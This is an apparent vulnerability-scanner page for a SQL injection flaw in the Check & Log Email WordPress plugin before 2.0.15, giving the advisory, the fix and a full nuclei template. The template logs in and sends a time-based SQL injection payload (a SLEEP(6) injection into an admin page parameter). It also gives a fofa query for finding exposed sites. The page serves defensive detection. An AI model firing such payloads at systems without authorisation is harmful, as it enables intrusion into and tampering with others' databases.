WordPress Check & Log Email < 2.0.15 - SQL Injection

mediumseverity

6.5CVSS score

1.4%likelihood of exploitation, next 30 days

73%of all CVEs are less likely

Readycheck to confirm it

The Check & Log Email WordPress plugin before 2.0.15 does not properly sanitize and escape parameters before using them in SQL queries, allowing users with administrator privileges to perform SQL injection attacks.

Impact

Administrators can execute arbitrary SQL commands, potentially leading to data disclosure or modification.

Fix

Update to version 2.0.15 or later.

How to confirm it

Send: POST /wp-login.php
Positive when: status_code == 302 and contains(header, "wordpress_logged_in")
Send: @timeout: 20s
Positive when: status_code == 200 and contains(content_type, "text/html") and duration >= 6

Run it with nuclei: nuclei -id CVE-2026-14554 -u <target>

The full check

id: CVE-2026-14554

info:
  name: WordPress Check & Log Email < 2.0.15 - SQL Injection
  author: anirbala98
  severity: medium
  description: |
    The Check & Log Email WordPress plugin before 2.0.15 does not properly sanitize and escape parameters before using them in SQL queries, allowing users with administrator privileges to perform SQL injection attacks.
  impact: |
    Administrators can execute arbitrary SQL commands, potentially leading to data disclosure or modification.
  remediation: |
    Update to version 2.0.15 or later.
  reference:
    - https://wpscan.com/vulnerability/7b39bae3-41a2-4862-b7c3-1a386273d600/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-14554
    - https://wordpress.org/plugins/check-email/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 6.5
    cve-id: CVE-2026-14554
    epss-score: 0.01411
    epss-percentile: 0.72892
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 2
    vendor: checkemail
    product: check-email
    framework: wordpress
    fofa-query: body="/wp-content/plugins/check-email/"
  tags: cve,cve2026,wordpress,wp-plugin,sqli,time-based-sqli,check-email,authenticated

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, "wordpress_logged_in")
        condition: and
        internal: true

  - raw:
      - |
        @timeout: 20s
        GET /wp-admin/admin.php?page=check-email-logs&d=x'%20AND%20SLEEP(6)--%20- HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(content_type, "text/html")
          - duration >= 6
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from